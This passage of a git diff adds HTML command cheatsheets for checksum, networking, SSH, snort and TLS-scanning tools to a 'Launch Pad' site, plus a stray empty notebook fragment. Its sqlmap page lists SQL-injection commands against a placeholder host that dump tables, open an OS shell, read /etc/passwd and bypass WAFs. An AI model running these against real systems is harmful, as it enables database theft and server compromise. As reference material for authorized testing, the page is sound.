  • +
  • Use SHA-1 mainly when you must match existing ecosystems or published hashes.
  • +
  • Keep checksum files alongside downloads so users can verify integrity easily.
  • +
+
+
+ + + + + + diff --git a/cheatsheets/sha256sum.html b/cheatsheets/sha256sum.html new file mode 100644 index 0000000..ecfcac4 --- /dev/null +++ b/cheatsheets/sha256sum.html @@ -0,0 +1,93 @@ + + + + + + + + + + + sha256sum Cheatsheet - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + ← Back to Cheatsheets + +

sha256sum Cheatsheet

+
+
+
+
+

+ Quick reference for sha256sum, a tool to compute and verify SHA-256 checksums. + SHA-256 is the common default for verifying downloads and file integrity. +

+ +

Basic usage

+
    +
  • sha256sum file.img – print SHA-256 hash and filename.
  • +
  • sha256sum file1 file2 – hash multiple files.
  • +
  • echo -n "test" | sha256sum – hash data from stdin.
  • +
+ +

Common options

+
    +
  • -b – read files in binary mode (default on Linux).
  • +
  • -t – read files in text mode (mainly for non-Unix systems).
  • +
  • -c – check SHA-256 sums from a file.
  • +
+ +

Creating and verifying checksum files

+
    +
  • sha256sum file.img > file.img.sha256 – save checksum.
  • +
  • sha256sum file1 file2 > checksums.sha256 – create checksum list.
  • +
  • sha256sum -c file.img.sha256 – verify a single file.
  • +
  • sha256sum -c checksums.sha256 – verify multiple files.
  • +
+ +

Tips

+
    +
  • Publish SHA-256 hashes over HTTPS, signed release notes, or another trusted channel.
  • +
  • Users should compare the hash they compute with the published hash, not just “it downloaded fine”.
  • +
  • For even stronger hashes, see sha512sum.
  • +
+
+
+ + + + + +{ + "cells": [], + "metadata": { + "language_info": { + "name": "python" + } + }, + "nbformat": 4, + "nbformat_minor": 2 +} \ No newline at end of file diff --git a/cheatsheets/sha512sum.html b/cheatsheets/sha512sum.html new file mode 100644 index 0000000..6dd9d48 --- /dev/null +++ b/cheatsheets/sha512sum.html @@ -0,0 +1,84 @@ + + + + + + + + + + + sha512sum Cheatsheet - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + ← Back to Cheatsheets + +

sha512sum Cheatsheet

+
+
+
+
+

+ Quick reference for sha512sum, a tool to compute and verify SHA-512 checksums. + SHA-512 is a stronger variant in the SHA-2 family, useful when you want a very conservative hash. +

+ +

Basic usage

+
    +
  • sha512sum file.img – print SHA-512 hash and filename.
  • +
  • sha512sum file1 file2 – hash multiple files.
  • +
  • echo -n "test" | sha512sum – hash data from stdin.
  • +
+ +

Common options

+
    +
  • -b – read files in binary mode (default on Linux).
  • +
  • -t – read files in text mode (mainly for non-Unix systems).
  • +
  • -c – check SHA-512 sums from a file.
  • +
+ +

Creating and verifying checksum files

+
    +
  • sha512sum file.img > file.img.sha512 – save checksum.
  • +
  • sha512sum file1 file2 > checksums.sha512 – create checksum list.
  • +
  • sha512sum -c file.img.sha512 – verify a single file.
  • +
  • sha512sum -c checksums.sha512 – verify multiple files.
  • +
+ +

Tips

+
    +
  • Use SHA-512 when you want additional margin over SHA-256 (or when an ecosystem expects it).
  • +
  • Checksums are only as trustworthy as the channel you got them from—publish them securely.
  • +
  • For most cases, SHA-256 is enough; SHA-512 is the “belt and suspenders” option.
  • +
+
+
+ + + + + + diff --git a/cheatsheets/snort.html b/cheatsheets/snort.html new file mode 100644 index 0000000..d5115b1 --- /dev/null +++ b/cheatsheets/snort.html @@ -0,0 +1,297 @@ + + + + + + + + + + + snort Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

snort Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

snort is an open-source intrusion detection system (IDS) and intrusion prevention system (IPS).

+
+

Basic Commands

+
    +
  • snort -V - Show version
  • +
+
    +
  • snort --version - Show version (alternative)
  • +
+
    +
  • snort -h - Show help/options
  • +
+
    +
  • snort -T - Test configuration (syntax check)
  • +
+
    +
  • snort -T -c <config> - Test specific config file
  • +
+
    +
  • snort -c <config> - Use specific config file
  • +
+
    +
  • snort -i <interface> - Run on interface
  • +
+
    +
  • snort -i eth0 -c <config> - Run on eth0 with config
  • +
+
    +
  • snort -l <dir> - Log to directory
  • +
+
    +
  • snort -r <pcap> - Read from pcap file
  • +
+
+

Alert Modes

+
    +
  • snort -A console - Console alert mode
  • +
+
    +
  • snort -A fast - Fast alert mode
  • +
+
    +
  • snort -A full - Full alert mode
  • +
+
    +
  • snort -A unsock - Unix socket alert mode
  • +
+
    +
  • snort -A none - No alerts
  • +
+
    +
  • snort -A cmg - CMG alert mode
  • +
+
    +
  • snort -A alert_json - JSON alert mode
  • +
+
    +
  • snort -q - Quiet mode (suppress banner)
  • +
+
+

Rule Writing

+

Rule Structure

+
action protocol src_ip src_port -> dst_ip dst_port ( options )
+

Example Rules

+
# Alert on HTTP traffic
+alert tcp any any -> 192.168.1.0/24 80 ( msg:"HTTP Traffic Detected"; flow:to_server,established; sid:100001; )
+
+# Alert on suspicious port scan
+alert tcp any any -> 192.168.1.0/24 any ( flags:S; msg:"Possible Port Scan"; threshold:type threshold, track by_src, count 10, seconds 60; sid:100002; )
+
+# Alert on ICMP ping
+alert icmp any any -> any any ( msg:"ICMP Ping Detected"; icode:0; itype:8; sid:100003; )
+

Rule Options

+
    +
  • msg:"text" - Alert message
  • +
+
    +
  • sid:number - Rule ID (must be unique)
  • +
+
    +
  • rev:number - Revision number
  • +
+
    +
  • content:"string" - Search for string in payload
  • +
+
    +
  • flags:S - TCP SYN flag
  • +
+
    +
  • flow:to_server,established - Flow direction and state
  • +
+
    +
  • threshold:type threshold, track by_src, count N, seconds M - Threshold
  • +
+
+

Configuration

+

Config File Locations

+
    +
  • /etc/snort/snort.conf - Main config (Snort 2)
  • +
+
    +
  • /etc/snort/snort.lua - Main config (Snort 3)
  • +
+
    +
  • /etc/snort/rules/ - Rules directory
  • +
+
    +
  • /etc/snort/snort_defaults.lua - Defaults (Snort 3)
  • +
+
    +
  • ~/.snort/ - User config directory
  • +
+

Example snort.conf (Snort 2)

+
# Network variables
+var HOME_NET 192.168.1.0/24
+var EXTERNAL_NET !$HOME_NET
+
+# Include rules
+include $RULE_PATH/local.rules
+include $RULE_PATH/community.rules
+

Example snort.lua (Snort 3)

+
-- Network variables
+HOME_NET = '192.168.1.0/24'
+EXTERNAL_NET = '!HOME_NET'
+
+-- Include rules
+ips = {
+    include = 'malware.rules',
+    include = 'exploit.rules',
+}
+

Include Rules

+
    +
  • Include single rule file: -R <file>
  • +
+
    +
  • Include rule directory: --rule-path <dir>
  • +
+
    +
  • Enable built-in rules: --lua 'ips.enable_builtin_rules = true'
  • +
+
+

Logging and Output

+
    +
  • snort -l /var/log/snort - Log to directory
  • +
+
    +
  • snort -r snort.log - Read from log file
  • +
+
    +
  • snort -r snort.log 'udp and port 53' - Read with BPF filter
  • +
+
    +
  • snort -K ascii - Log in ASCII mode
  • +
+
    +
  • snort -K pcap - Log in pcap mode
  • +
+
    +
  • snort -K none - No packet logging
  • +
+
+

Advanced Options

+
    +
  • snort -D - Run as daemon
  • +
+
    +
  • snort -d - Dump application layer
  • +
+
    +
  • snort -e - Show layer 2 headers
  • +
+
    +
  • snort -v - Verbose mode
  • +
+
    +
  • snort -X - Show raw packet data
  • +
+
    +
  • snort -N - Disable logging
  • +
+
    +
  • snort -s - Log alerts to syslog
  • +
+
    +
  • snort -S <file> - Log alerts to file
  • +
+
    +
  • snort -u <user> - Run as user
  • +
+
    +
  • snort -g <group> - Run as group
  • +
+
+

Configuration Conversion

+
    +
  • snort2lua -c snort.conf - Convert Snort 2 config to Snort 3 (Lua)
  • +
+
    +
  • snort2lua -c snort.conf -o output.lua - Convert with output file
  • +
+
+

Tips

+
    +
  • Use quiet mode (-q) when combining with alert modes (-A) to avoid clutter
  • +
+
    +
  • When writing rules, always include a unique sid and rev
  • +
+
    +
  • Test new or modified rules against pcaps before deployment
  • +
+
    +
  • Keep snort updated - rulesets are updated frequently
  • +
+
    +
  • Monitor performance - many rules with deep payload inspection can increase load
  • +
+
    +
  • Use -T flag to test configuration before deploying
  • +
+
    +
  • Test rules with -r <pcap> to verify they work as expected
  • +
+
    +
  • Use BPF filters to reduce processing load on high-traffic networks
  • +
+
    +
  • Snort 3 uses Lua configuration, Snort 2 uses traditional config files
  • +
+
    +
  • Use threshold rules to reduce false positives from noisy alerts
  • +
+
    +
  • Organize rules into separate files by category for easier management
  • +
+
    +
  • Review alert logs regularly to tune rules and reduce false positives
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/sqlmap.html b/cheatsheets/sqlmap.html new file mode 100644 index 0000000..d1df550 --- /dev/null +++ b/cheatsheets/sqlmap.html @@ -0,0 +1,345 @@ + + + + + + + + + + + sqlmap Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

sqlmap Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

sqlmap is an automated SQL injection testing and exploitation tool. It can detect and exploit SQL injection vulnerabilities in web applications, supporting multiple database management systems.

+
+

Basic Usage

+
    +
  • sqlmap -u <url> - Test URL for SQL injection
  • +
+
    +
  • sqlmap -u "http://target.com/page.php?id=1" - Test specific URL
  • +
+
    +
  • sqlmap -u <url> --dbs - Enumerate databases
  • +
+
    +
  • sqlmap -u <url> -D <database> --tables - Enumerate tables
  • +
+
    +
  • sqlmap -u <url> -D <database> -T <table> --columns - Enumerate columns
  • +
+
    +
  • sqlmap -u <url> -D <database> -T <table> --dump - Dump table data
  • +
+
+

Target Options

+
    +
  • -u <url> - Target URL
  • +
+
    +
  • -l <file> - Target list from Burp log file
  • +
+
    +
  • -x <url> - Sitemap URL (XML)
  • +
+
    +
  • -m <file> - Multiple targets from file
  • +
+
    +
  • -r <file> - HTTP request from file
  • +
+
    +
  • -g <query> - Google dork query
  • +
+
    +
  • -c <file> - Configuration file
  • +
+
+

Request Options

+
    +
  • --data=<data> - POST data string
  • +
+
    +
  • --cookie=<cookie> - Cookie string
  • +
+
    +
  • --headers=<headers> - HTTP headers
  • +
+
    +
  • --user-agent=<ua> - User-Agent string
  • +
+
    +
  • --referer=<referer> - Referer string
  • +
+
    +
  • --proxy=<proxy> - Use HTTP proxy
  • +
+
    +
  • --tor --tor-type=SOCKS5 --check-tor - Use Tor proxy
  • +
+
    +
  • -H - Set custom HTTP header
  • +
+
    +
  • --method=<method> - HTTP method (GET, POST, PUT, etc.)
  • +
+
+

Parameter Options

+
    +
  • -p <parameter> - Test specific parameter
  • +
+
    +
  • --skip=<param> - Skip testing parameter
  • +
+
    +
  • -r <file> - Load HTTP request from file (auto-detect parameters)
  • +
+
    +
  • --param-del=<delimiter> - Parameter delimiter
  • +
+
+

Enumeration Options

+
    +
  • --dbs - Enumerate databases
  • +
+
    +
  • --tables - Enumerate tables
  • +
+
    +
  • --columns - Enumerate columns
  • +
+
    +
  • --dump - Dump table entries
  • +
+
    +
  • --dump-all - Dump all databases
  • +
+
    +
  • -D <database> - Specify database
  • +
+
    +
  • -T <table> - Specify table
  • +
+
    +
  • -C <column> - Specify column
  • +
+
    +
  • --schema - Enumerate database schema
  • +
+
    +
  • --count - Count entries in table
  • +
+
+

Database System Options

+
    +
  • --dbms=<dbms> - Force database type (MySQL, PostgreSQL, MSSQL, Oracle, SQLite)
  • +
+
    +
  • --dbms-cred=<user:pass> - Database credentials
  • +
+
    +
  • --os=<os> - Force OS type
  • +
+
    +
  • --tamper=<script> - Use tamper script
  • +
+
+

File Operations

+
    +
  • --file-read=<file> - Read file from database server
  • +
+
    +
  • --file-write=<file> - Write local file to database server
  • +
+
    +
  • --file-dest=<path> - Remote file path for write operations
  • +
+
+

Shell Options

+
    +
  • --sql-shell - Interactive SQL shell
  • +
+
    +
  • --os-shell - Interactive OS shell
  • +
+
    +
  • --os-cmd=<cmd> - Execute OS command
  • +
+
    +
  • --os-pwn - Meterpreter shell
  • +
+
    +
  • --os-smbrelay - SMB relay attack
  • +
+
+

Detection Options

+
    +
  • --level=<1-5> - Level of tests (1-5, default 1)
  • +
+
    +
  • --risk=<1-3> - Risk of tests (1-3, default 1)
  • +
+
    +
  • --technique=<technique> - Injection techniques (B, E, U, S, T, Q)
  • +
+
    +
  • --time-sec=<sec> - Seconds to wait for response (default 5)
  • +
+
    +
  • --union-cols=<range> - Column range for UNION tests
  • +
+
+

Technique Options

+
    +
  • B - Boolean-based blind
  • +
+
    +
  • E - Error-based
  • +
+
    +
  • U - Union query-based
  • +
+
    +
  • S - Stacked queries
  • +
+
    +
  • T - Time-based blind
  • +
+
    +
  • Q - Inline queries
  • +
+
+

Output Options

+
    +
  • --batch - Never ask for user input (use defaults)
  • +
+
    +
  • --verbose=<0-6> - Verbosity level
  • +
+
    +
  • -v <level> - Verbosity level (0-6)
  • +
+
    +
  • --output-dir=<dir> - Output directory
  • +
+
+

Misc Options

+
    +
  • --threads=<num> - Max concurrent HTTP requests (default 1)
  • +
+
    +
  • --delay=<sec> - Delay between requests (seconds)
  • +
+
    +
  • --timeout=<sec> - Request timeout (default 30)
  • +
+
    +
  • --retries=<num> - Retries on timeout (default 3)
  • +
+
    +
  • --ignore-code=<code> - Ignore HTTP error codes
  • +
+
    +
  • --ignore-proxy - Ignore default proxy settings
  • +
+
+

Common Examples

+

Basic Detection

+
sqlmap -u "http://target.com/page.php?id=1"
+

Enumerate Databases

+
sqlmap -u "http://target.com/page.php?id=1" --dbs
+

Enumerate Tables

+
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
+

Dump Table

+
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump
+

POST Request

+
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" -p username
+

From Burp Log

+
sqlmap -l burp_log.txt --batch
+

Cookie Injection

+
sqlmap -u "http://target.com/page.php" --cookie="session=abc123" --dbs
+

Get OS Shell

+
sqlmap -u "http://target.com/page.php?id=1" --os-shell
+

Read File

+
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
+

Use Tor

+
sqlmap -u "http://target.com/page.php?id=1" --tor --tor-type=SOCKS5 --check-tor
+
+

Tips

+
    +
  • Use --batch for automated testing (no user interaction)
  • +
+
    +
  • Use -r with Burp log files for easy testing
  • +
+
    +
  • Increase --level and --risk for more thorough testing
  • +
+
    +
  • Use --threads for faster enumeration (be careful with server load)
  • +
+
    +
  • Combine with Burp Suite for complex authentication scenarios
  • +
+
    +
  • Use --tamper scripts to bypass WAFs and filters
  • +
+
    +
  • Always test on authorized systems only
  • +
+
    +
  • Use --proxy to monitor requests with Burp or similar tools
  • +
+
    +
  • Check --check-tor before using Tor to verify connection
  • +
+
    +
  • Use --batch to avoid prompts in automated scripts
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + + diff --git a/cheatsheets/ss.html b/cheatsheets/ss.html new file mode 100644 index 0000000..57e8516 --- /dev/null +++ b/cheatsheets/ss.html @@ -0,0 +1,230 @@ + + + + + + + + + + + ss Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

ss Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

ss (socket statistics) is a modern replacement for netstat. Displays network socket information including TCP, UDP, and Unix domain sockets. Faster and more feature-rich than netstat.

+
+

Basic Usage

+
    +
  • ss - All sockets
  • +
+
    +
  • ss -t - TCP sockets
  • +
+
    +
  • ss -u - UDP sockets
  • +
+
    +
  • ss -l - Listening sockets
  • +
+
    +
  • ss -a - All sockets (listening + established)
  • +
+
    +
  • ss -n - Numeric addresses
  • +
+
+

Socket Types

+
    +
  • -t - TCP sockets
  • +
+
    +
  • -u - UDP sockets
  • +
+
    +
  • -w - Raw sockets
  • +
+
    +
  • -x - Unix domain sockets
  • +
+
    +
  • -S - SCTP sockets
  • +
+
    +
  • -D - DCCP sockets
  • +
+
+

State Filters

+
    +
  • -l - Listening sockets
  • +
+
    +
  • -a - All sockets
  • +
+
    +
  • -s - Summary statistics
  • +
+
    +
  • -e - Extended information
  • +
+
    +
  • -o - Timer information
  • +
+
    +
  • -m - Memory information
  • +
+
+

Address Filters

+
    +
  • ss -n - No hostname resolution
  • +
+
    +
  • ss -p - Show process information
  • +
+
    +
  • ss -i - Internal TCP information
  • +
+
    +
  • ss -K - Force close socket
  • +
+
    +
  • ss -H - Suppress header
  • +
+
+

Port & Address Filters

+
    +
  • ss -tlnp - TCP listening with process
  • +
+
    +
  • ss -tlnp :80 - Port 80
  • +
+
    +
  • ss -tlnp 'sport = :80' - Source port 80
  • +
+
    +
  • ss -tlnp 'dport = :80' - Destination port 80
  • +
+
    +
  • ss -tlnp 'src 192.168.1.1' - Source address
  • +
+
    +
  • ss -tlnp 'dst 192.168.1.1' - Destination address
  • +
+
+

Common Examples

+

All Listening

+
ss -tlnp
+

TCP listening sockets with process.

+

All Connections

+
ss -tunp
+

TCP and UDP with process.

+

Specific Port

+
ss -tlnp :80
+

What's listening on port 80.

+

Port Range

+
ss -tlnp 'sport > :1024 and sport < :65535'
+

Ports in range.

+

Established Connections

+
ss -tn state established
+

Active TCP connections.

+

Summary

+
ss -s
+

Socket statistics summary.

+

Process Info

+
ss -tlnp
+

Show process using sockets.

+

Memory Usage

+
ss -m
+

Socket memory information.

+

Extended Info

+
ss -e
+

Extended socket information.

+

Unix Sockets

+
ss -xlnp
+

Unix domain sockets.

+
+

State Filters

+
    +
  • state established - Established connections
  • +
+
    +
  • state listening - Listening sockets
  • +
+
    +
  • state time-wait - Time-wait state
  • +
+
    +
  • state fin-wait-1 - Fin-wait-1 state
  • +
+
    +
  • state fin-wait-2 - Fin-wait-2 state
  • +
+
+

Tips

+
    +
  • Use -tlnp for common network troubleshooting
  • +
+
    +
  • Use -p to see which process owns socket
  • +
+
    +
  • Use -n for faster output (no DNS lookup)
  • +
+
    +
  • Use -s for quick statistics
  • +
+
    +
  • Faster than netstat
  • +
+
    +
  • More detailed than netstat
  • +
+
    +
  • Essential for network debugging
  • +
+
    +
  • Use filters to narrow results
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/ssh-keygen.html b/cheatsheets/ssh-keygen.html new file mode 100644 index 0000000..cb91327 --- /dev/null +++ b/cheatsheets/ssh-keygen.html @@ -0,0 +1,143 @@ + + + + + + + + + + + ssh-keygen Cheatsheet - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

ssh-keygen Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

ssh-keygen generates, manages, and converts SSH authentication keys. Essential for passwordless SSH access and secure key-based authentication.

+
+

Key Generation

+
    +
  • ssh-keygen -t ed25519 - Generate Ed25519 key (recommended)
  • +
+
    +
  • ssh-keygen -t rsa -b 4096 - Generate RSA key (4096 bits)
  • +
+
    +
  • ssh-keygen -t ecdsa -b 256 - Generate ECDSA key
  • +
+
    +
  • ssh-keygen -f ~/.ssh/id_ed25519 - Specify key file location
  • +
+
    +
  • ssh-keygen -C "comment" - Add comment to key
  • +
+
+

Key Management

+
    +
  • ssh-keygen -l -f ~/.ssh/id_ed25519.pub - Show key fingerprint
  • +
+
    +
  • ssh-keygen -y -f ~/.ssh/id_ed25519 - Extract public key from private key
  • +
+
    +
  • ssh-keygen -p -f ~/.ssh/id_ed25519 - Change passphrase
  • +
+
    +
  • ssh-keygen -R hostname - Remove host from known_hosts
  • +
+
+

Key Conversion

+
    +
  • ssh-keygen -p -m PEM -f old_key - Convert key format
  • +
+
    +
  • ssh-keygen -e -f id_rsa.pub -m RFC4716 - Convert to RFC4716 format
  • +
+
    +
  • ssh-keygen -i -f publickey - Import key in other formats
  • +
+
+

Common Examples

+

Generate Ed25519 Key

+
ssh-keygen -t ed25519 -C "your_email@example.com"
+

Generate modern Ed25519 key with email comment.

+

Generate RSA Key

+
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
+

Generate 4096-bit RSA key.

+

Show Fingerprint

+
ssh-keygen -l -f ~/.ssh/id_ed25519.pub
+

Display key fingerprint for verification.

+

Change Passphrase

+
ssh-keygen -p -f ~/.ssh/id_ed25519
+

Change passphrase on existing key.

+

Copy Public Key

+
cat ~/.ssh/id_ed25519.pub
+

Display public key to copy to server.

+

Remove Host Key

+
ssh-keygen -R example.com
+

Remove host from known_hosts (after key change).

+
+

Tips

+
    +
  • Ed25519 is preferred: smaller, faster, and more secure than RSA
  • +
+
    +
  • Use RSA 4096-bit minimum if Ed25519 isn't supported
  • +
+
    +
  • Always use passphrases for private keys
  • +
+
    +
  • Keep private keys secure (~/.ssh/id_*), never share them
  • +
+
    +
  • Public keys (.pub) are safe to share
  • +
+
    +
  • Use ssh-copy-id to easily copy keys to servers
  • +
+
    +
  • Verify fingerprints out-of-band before trusting new hosts
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/ssh.html b/cheatsheets/ssh.html new file mode 100644 index 0000000..1aa45f9 --- /dev/null +++ b/cheatsheets/ssh.html @@ -0,0 +1,176 @@ + + + + + + + + + + + ssh Cheatsheet - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
+
+
+ + + +

ssh Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

SSH (Secure Shell) is a protocol for secure remote login and command execution. Essential for managing remote servers, secure file transfer, and tunneling.

+
+

Basic Connection

+
    +
  • ssh user@hostname - Connect to remote host
  • +
+
    +
  • ssh user@hostname -p 2222 - Connect on custom port
  • +
+
    +
  • ssh -i ~/.ssh/key.pem user@hostname - Use specific key file
  • +
+
    +
  • ssh -v user@hostname - Verbose output (debugging)
  • +
+
+

Port Forwarding

+
    +
  • ssh -L 8080:localhost:80 user@hostname - Local port forward
  • +
+
    +
  • ssh -R 8080:localhost:80 user@hostname - Remote port forward
  • +
+
    +
  • ssh -D 1080 user@hostname - Dynamic SOCKS proxy
  • +
+
    +
  • ssh -L 8080:remote:80 -N user@hostname - Forward without shell
  • +
+
+

File Transfer

+
    +
  • scp file.txt user@hostname:/path/ - Copy file to remote
  • +
+
    +
  • scp user@hostname:/path/file.txt . - Copy file from remote
  • +
+
    +
  • scp -r dir/ user@hostname:/path/ - Copy directory recursively
  • +
+
    +
  • rsync -avz dir/ user@hostname:/path/ - Sync with rsync
  • +
+
+

Remote Execution

+
    +
  • ssh user@hostname "command" - Execute command remotely
  • +
+
    +
  • ssh user@hostname "cat file.txt" - Read remote file
  • +
+
    +
  • cat file.txt | ssh user@hostname "cat > remote.txt" - Pipe to remote
  • +
+
+

Configuration

+
    +
  • ~/.ssh/config - SSH client configuration file
  • +
+
    +
  • Host alias - Define host alias
  • +
+
    +
  • HostName real.hostname.com - Set hostname
  • +
+
    +
  • User username - Set default user
  • +
+
    +
  • IdentityFile ~/.ssh/key - Specify key file
  • +
+
    +
  • Port 2222 - Set port
  • +
+
+

Common Examples

+

Basic Connection

+
ssh user@example.com
+

Connect to remote server.

+

Port Forwarding

+
ssh -L 8080:localhost:80 user@example.com
+

Forward local port 8080 to remote port 80.

+

Copy File

+
scp file.txt user@example.com:/home/user/
+

Copy file to remote server.

+

Execute Command

+
ssh user@example.com "ls -la"
+

Run command on remote server.

+

SSH Config

+
Host myserver
+    HostName example.com
+    User myuser
+    IdentityFile ~/.ssh/id_ed25519
+    Port 2222
+

Configure SSH alias in ~/.ssh/config.

+
+

Tips

+
    +
  • Use key-based authentication instead of passwords
  • +
+
    +
  • Configure ~/.ssh/config for easier connections
  • +
+
    +
  • Use -N flag for port forwarding without shell
  • +
+
    +
  • rsync is often faster than scp for large transfers
  • +
+
    +
  • Use ControlMaster for connection multiplexing
  • +
+
    +
  • Keep SSH keys secure and use passphrases
  • +
+
    +
  • Disable password authentication on servers when possible
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/sslyze.html b/cheatsheets/sslyze.html new file mode 100644 index 0000000..ddbb24f --- /dev/null +++ b/cheatsheets/sslyze.html @@ -0,0 +1,250 @@ + + + + + + + + + + + sslyze Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

sslyze Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

SSLyze is a fast and powerful SSL/TLS scanning tool. It analyzes SSL/TLS configuration to detect misconfigurations, weak ciphers, and vulnerabilities like Heartbleed, ROBOT, and more.

+
+

Basic Usage

+
    +
  • sslyze <hostname> - Basic scan
  • +
+
    +
  • sslyze <hostname>:<port> - Scan specific port
  • +
+
    +
  • sslyze --targets_in=hosts.txt - Scan from file
  • +
+
+

Scan Commands

+
    +
  • --sslv2 - Check for SSLv2 support
  • +
+
    +
  • --sslv3 - Check for SSLv3 support
  • +
+
    +
  • --tlsv1 - Check for TLSv1.0 support
  • +
+
    +
  • --tlsv1_1 - Check for TLSv1.1 support
  • +
+
    +
  • --tlsv1_2 - Check for TLSv1.2 support
  • +
+
    +
  • --tlsv1_3 - Check for TLSv1.3 support
  • +
+
+

Vulnerability Scans

+
    +
  • --heartbleed - Test for Heartbleed vulnerability
  • +
+
    +
  • --openssl_ccs - Test for OpenSSL CCS Injection
  • +
+
    +
  • --robot - Test for ROBOT vulnerability
  • +
+
    +
  • --fallback - Test for TLS Fallback SCSV
  • +
+
    +
  • --reneg - Test for session renegotiation
  • +
+
    +
  • --resum - Test for session resumption
  • +
+
    +
  • --early_data - Test for TLS 1.3 early data
  • +
+
+

Certificate Checks

+
    +
  • --certinfo - Certificate and chain information
  • +
+
+

Cipher Suites

+
    +
  • --http_headers - Check security headers (HSTS, etc.)
  • +
+
    +
  • --compression - Test for TLS compression (CRIME)
  • +
+
    +
  • --elliptic_curves - Supported elliptic curves
  • +
+
+

Output Options

+
    +
  • --json_out=file.json - JSON output
  • +
+
    +
  • --quiet - Quiet mode (less output)
  • +
+
    +
  • --mozilla_config - Compare against Mozilla config
  • +
+
+

Connection Options

+
    +
  • --slow_connection - Longer timeouts for slow connections
  • +
+
    +
  • --https_tunnel=proxy:port - Use HTTPS proxy
  • +
+
    +
  • --starttls=protocol - Use STARTTLS (smtp, imap, etc.)
  • +
+
    +
  • --xmpp_to=domain - For XMPP STARTTLS
  • +
+
    +
  • --sni=hostname - Server Name Indication
  • +
+
+

STARTTLS Protocols

+
    +
  • smtp - SMTP STARTTLS
  • +
  • xmpp - XMPP STARTTLS
  • +
  • xmpp_server - XMPP Server STARTTLS
  • +
  • ftp - FTP STARTTLS
  • +
  • pop3 - POP3 STARTTLS
  • +
  • imap - IMAP STARTTLS
  • +
  • ldap - LDAP STARTTLS
  • +
  • rdp - RDP STARTTLS
  • +
  • postgres - PostgreSQL STARTTLS
  • +
+
+

Common Examples

+

Full Scan

+
sslyze example.com
+

Complete SSL/TLS analysis.

+

Specific Port

+
sslyze example.com:8443
+

Scan non-standard HTTPS port.

+

Check All Protocol Versions

+
sslyze --sslv2 --sslv3 --tlsv1 --tlsv1_1 --tlsv1_2 --tlsv1_3 example.com
+

Test all SSL/TLS versions.

+

Vulnerability Check

+
sslyze --heartbleed --robot --openssl_ccs example.com
+

Check for common vulnerabilities.

+

Certificate Info

+
sslyze --certinfo example.com
+

Get certificate details.

+

